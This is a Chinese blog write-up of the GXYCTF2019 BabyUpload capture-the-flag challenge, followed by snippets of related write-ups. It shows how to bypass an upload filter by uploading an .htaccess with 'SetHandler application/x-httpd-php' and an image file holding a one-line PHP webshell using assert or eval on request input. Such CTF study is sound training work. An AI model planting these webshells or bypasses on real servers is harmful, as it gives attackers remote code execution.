[GXYCTF2019]BabyUpload 1

最新推荐文章于 2024-08-13 09:51:28 发布
最新推荐文章于 2024-08-13 09:51:28 发布
阅读量345 收藏
点赞数
分类专栏： BUUCTF 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/shinygod/article/details/123185911
版权 
知识点：.htaccess    一句话马

目录

它过滤了ph后缀，不论大小写，还过滤了内容以<?开头的文件。
我们可以先传个.htaccess,把后面我们传上去的解析为php。

SetHandler application/x-httpd-php

在这里插入图片描述
上传图片

<script language='php'>assert($_REQUEST['cmd'])</script>

在这里插入图片描述
最后进入图片的上传目录webshell，拿flag
在这里插入图片描述

succ3
关注
专栏目录
[GXYCTF2019]BabyUpload - 文件上传+绕过(后缀&文件类型&文件内容&.htaccess)
oZuoShen123的博客
10-11 756
1、上传一句话，提示“后缀不允许ph” 2、修改后缀为jpg，提示“上传类型也太露骨了吧！” 3、修改类型为image/jpeg，提示“诶，别蒙我啊，这标志明显还是php啊” 4、修改一句话的标识为： @eval($_POST["pwd"]); 5、上传.htaccess
【复习】BUUCTF：[GXYCTF2019]BabyUpload -- 对.htaccess的 包含自己和解析图片马为php文件都可以的 。。也算easy
Zero_Adam的博客
04-19 1185
一、自己做： 只需要更改Content-Type就能够绕过了，但是好像对文件内容有过滤。 那么，不能有？ ，看看PHP的版本，看看能够用html的script进行绕过 能成功，看看能否解析。
[GXYCTF2019]BabyUpload 1 文件上传
weixin_45577185的博客
07-22 1985
源码： <?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"textml; charset=utf-8\" /> <title>Upload</title> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> 上传文件<input type=\"file\" name=\"
[GXYCTF2019]BabyUpload1
qq_64201116的博客
05-14 2955
小小的文件上传,拿下!
[upload]-[GXYCTF2019]BabyUpload1-笔记
最新发布
mails2008的专栏
08-13 298
/script> 上传成功。需要修改文件类型，image/jpeg,如下，上传成功。尝试上传.htaccess和图片和一句话木马提示。根据刚才上传图片木马的地址，用蚁剑链接如下。必须增加文件夹下jpg后缀解析php。.htaccess如下。根目录下发现flag。
[GXYCTF2019]BabyUpload1 -- 题目分析与详解
2302_79800344的博客
03-03 2210
代码中并没有写传统的一句话木马，因为直接写一句话木马需要关闭系统防火墙。.htaccess 文件。
CTF-WEB[GXYCTF 2019]BabyUpload
02-08
### CTF-WEB[GXYCTF 2019]BabyUpload分析 #### 知识点一：Web安全中的文件上传漏洞 在本题目中，我们面对的是一个典型的Web安全问题——文件上传漏洞。文件上传漏洞是Web应用程序中最常见的安全漏洞之一，它允许...
【BUU】[GXYCTF2019]BabyUpload
qi_SJQ_的博客
02-07 781
1.本题知识： 图片尺寸小于2000字节，但对文件头没有检验。 检验content-type且只能为jp(e)g，png与gif都不行。 .htaccess配置文件替换。 过滤了一些敏感函数，以及php声明绕过，ph后缀过滤后好像没办法绕过去上传php文件。 2.别人的wp很详尽，我就对被拦截的情况来阐述吧： 后缀名不能有ph：我们后缀只能为jpg上传，但没有文件包含函数可以利用，图片马上传上去没用。因此就可以尝试.htaccess文件替换来将任意后缀解析为php。 AddType applicat
BUU实战笔记——[GXYCTF2019]BabyUpload 1
qq_51175992的博客
07-14 922
对于文件上传一般就是先找到可以上传的文件类型，然后看传上去的文件是否可以正常使用，若不行，再考虑配置文件的方法。
BUUCTF:[GXYCTF2019]BabyUpload1
羽的博客
07-07 3171
文件上传漏洞。 不过这里我要吐槽一下，这个题首先他不允许传.png文件， 再者.jpg文件不能大，打了也报错，传不上去。 可想而知，我当时在做这个题的时候跟见了鬼一样难受，什么文件都传不了。 接着做题吧： 试着传一个PHP文件，告诉我不能传ph开头的文件后缀名，所以这里表示后端把所有php和php的别名都封死了。 根据之前upload-labs积累的绕过姿势，还可以上传.htaccess文件。 再次上传一句话木马时，又被拦截了，这里应该是后端检测了文件内容。盲猜检测<...
【CTF】[GXYCTF 2019]BabyUpload
西原一点红的博客
06-19 992
说明是黑名单，且对上传的类型也做了校验。说明对上传的内容也做了校验。4. 修改上传内容绕过校验。
web buuctf [GXYCTF2019]BabyUpload1
weixin_44214568的博客
03-22 863
考点：.htaccess文件， 抓包修改content-type 文件上传漏洞 1.如题： 传统上传文件题目，试了试常规的几个类型，php,phtml,php3,txt,png都不行，最后上传成功了png格式的，上传我之前写好的图片马，一句话木马内容如下： GIF89a?<script language="php">@eval($_POST[dd]);</script> 2.因为上传的是图片格式的，要将该文件变成php文件的进行上传，就需要上传.htacces
[GXYCTF2019]BabyUpload
夜幕下的灯火阑珊的博客
05-13 3388
png文件不许上传，尝试上传jpg 修改后缀名为.htaccess，文件内容为 SetHandler application/x-httpd-php 上传一句话木马 <?php eval($_POST[cmd]);?> 失败，换一种方式 <script language='php'>eval($_POST[cmd]);</script> ...
【web | CTF】BUUCTF [GXYCTF2019]BabyUpload1
weixin_46301214的博客
09-05 446
通常apache和nginx都包含有 .htaccess 配置文件，可以试试这个漏洞。后来发现问题在Content-Type里，只能上传 image/jpeg 类型。但是发现还是能识别到，那就说明有php的特征被识别到了。那就需要使用图片码，但没有文件包含漏洞，无法执行。所以就采用上传.htaccess配置文件来。就改用JavaScript变成php来执行。然后更改文件名为jpeg后缀，上传。某文件变成php来执行。
[GXYCTF2019]BabySQli 1
10-06
[GXYCTF2019]BabySQli1 是一个联合查询构建虚拟数据的例子。该例子中使用了base32和base64进行数据模糊化处理。在第二个引用中，通过联合查询构建了一个查询语句，将用户名设置为'1'并且选择了一个管理员账号和密码...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值